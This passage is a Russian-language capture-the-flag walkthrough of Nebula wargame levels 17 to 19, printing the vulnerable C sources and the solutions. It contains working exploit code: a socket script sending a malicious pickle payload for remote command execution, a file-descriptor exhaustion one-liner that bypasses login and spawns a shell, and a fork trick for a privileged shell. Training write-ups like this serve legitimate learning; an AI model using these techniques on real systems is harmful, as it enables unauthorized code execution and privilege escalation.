Но уязвимость есть, она в строке: obj = pickle.loads (line). Вот тут можно подробней узнать об её эксплуатации. Напишем скрипт для исполнения команд:
#!/usr/bin/python
import socket
import pickle
host = '10.0.31.116'
port = 10007
cmd = '''cos
system
(S'getflag > /tmp/flag17'
tR'''
s = socket.socket()
s.connect((host, port))
data = s.recv(1024)
print(data)
s.send(cmd)
s.close()
После запуска получаем RCE:
$ ./flag17.py
Accepted connection from 10.0.31.183:50700
level17@nebula:~$ cat /tmp/flag17
You have successfully executed getflag on a target account
Level18
Нас просят проанализировать исходник и найти уязвимости. Сделаем это:
level18.c
#include
#include
#include
#include
#include
#include
#include
struct {
FILE *debugfile;
int verbose;
int loggedin;
} globals;
#define dprintf(...) if(globals.debugfile) \
fprintf(globals.debugfile, __VA_ARGS__)
#define dvprintf(num, ...) if(globals.debugfile && globals.verbose >= num) \
fprintf(globals.debugfile, __VA_ARGS__)
#define PWFILE "/home/flag18/password"
void login(char *pw)
{
FILE *fp;
fp = fopen(PWFILE, "r");
if(fp) {
char file[64];
if(fgets(file, sizeof(file) - 1, fp) == NULL) {
dprintf("Unable to read password file %s\n", PWFILE);
return;
}
fclose(fp);
if(strcmp(pw, file) != 0) return;
}
dprintf("logged in successfully (with%s password file)\n",
fp == NULL ? "out" : "");
globals.loggedin = 1;
}
void notsupported(char *what)
{
char *buffer = NULL;
asprintf(&buffer, "--> [%s] is unsupported at this current time.\n", what);
dprintf(what);
free(buffer);
}
void setuser(char *user)
{
char msg[128];
sprintf(msg, "unable to set user to '%s' -- not supported.\n", user);
printf("%s\n", msg);
}
int main(int argc, char **argv, char **envp)
{
char c;
while((c = getopt(argc, argv, "d:v")) != -1) {
switch(c) {
case 'd':
globals.debugfile = fopen(optarg, "w+");
if(globals.debugfile == NULL) err(1, "Unable to open %s", optarg);
setvbuf(globals.debugfile, NULL, _IONBF, 0);
break;
case 'v':
globals.verbose++;
break;
}
}
dprintf("Starting up. Verbose level = %d\n", globals.verbose);
setresgid(getegid(), getegid(), getegid());
setresuid(geteuid(), geteuid(), geteuid());
while(1) {
char line[256];
char *p, *q;
q = fgets(line, sizeof(line)-1, stdin);
if(q == NULL) break;
p = strchr(line, '\n'); if(p) *p = 0;
p = strchr(line, '\r'); if(p) *p = 0;
dvprintf(2, "got [%s] as input\n", line);
if(strncmp(line, "login", 5) == 0) {
dvprintf(3, "attempting to login\n");
login(line + 6);
} else if(strncmp(line, "logout", 6) == 0) {
globals.loggedin = 0;
} else if(strncmp(line, "shell", 5) == 0) {
dvprintf(3, "attempting to start shell\n");
if(globals.loggedin) {
execve("/bin/sh", argv, envp);
err(1, "unable to execve");
}
dprintf("Permission denied\n");
} else if(strncmp(line, "logout", 4) == 0) {
globals.loggedin = 0;
} else if(strncmp(line, "closelog", 8) == 0) {
if(globals.debugfile) fclose(globals.debugfile);
globals.debugfile = NULL;
} else if(strncmp(line, "site exec", 9) == 0) {
notsupported(line + 10);
} else if(strncmp(line, "setuser", 7) == 0) {
setuser(line + 8);
}
}
return 0;
}
- void notsupported (char *what) → dprintf (what); # А вот и уязвимость форматной строки
- void login (char *pw) → fp = fopen (PWFILE, «r»); # Файл открывается, но, его никто не закрывает
Остановимся на функции login, тем более как раз она отвечает за авторизацию. Попробуем создать очень много файловых дескрипторов. В результате, fopen должна вернуть NULL, а затем судя по коду, выставится флаг авторизации. Нам нужно будет только запустить shell:
python -c 'print("login me\n"*2000 +"closelog\nshell")' | ./flag18 --init-file -d /dev/tty
Получаем кучу сообщений об авторизации, и собственно шелл:
logged in successfully (without password file)
ls
flag18 password
cat password
44226113-d394–4f46–9406–91888128e27a
getflag
You have successfully executed getflag on a target account
Level19
В описании к уровню говорится о том, что в программе есть ошибка, и искать её нужно в рантайме:
level19.c
#include
#include
#include
#include
#include
#include
#include
int main(int argc, char **argv, char **envp)
{
pid_t pid;
char buf[256];
struct stat statbuf;
/* Get the parent's /proc entry, so we can verify its user id */
snprintf(buf, sizeof(buf)-1, "/proc/%d", getppid());
/* stat() it */
if(stat(buf, &statbuf) == -1) {
printf("Unable to check parent process\n");
exit(EXIT_FAILURE);
}
/* check the owner id */
if(statbuf.st_uid == 0) {
/* If root started us, it is ok to start the shell */
execve("/bin/sh", argv, envp);
err(1, "Unable to execve");
}
printf("You are unauthorized to run this program\n");
}
Судя по коду, нужно, чтобы процесс был как-то запущен с UID=0. После некоторых поисков, находим статью, из которой узнаём, что если создать форк процесса, а затем убить его родителя, то система автоматически назначит этому форку нового родителя: процесс с PID=1 или так называемый init.
На Python, реализация такого подхода выглядит следующим образом:
#!/usr/bin/python
import os, time
def child():
print 'Child ', os.getpid()
time.sleep(1)
print "Running shell..."
os.execv("/home/flag19/flag19", ('sh',))
def parent():
newpid = os.fork()
if newpid == 0:
child()
else:
pids = (os.getpid(), newpid)
print "parent: %d, child: %d" % pids
parent()
После запуска, получаем нужный нам шелл:
level19@nebula:/home/flag19$ cat|python /tmp/flag19.py
parent: 3828, child: 3829
Child 3829
Running shell...
id
uid=1020(level19) gid=1020(level19) euid=980(flag19) groups=980(flag19),1020(level19)
getflag
You have successfully executed getflag on a target account
На этом всё.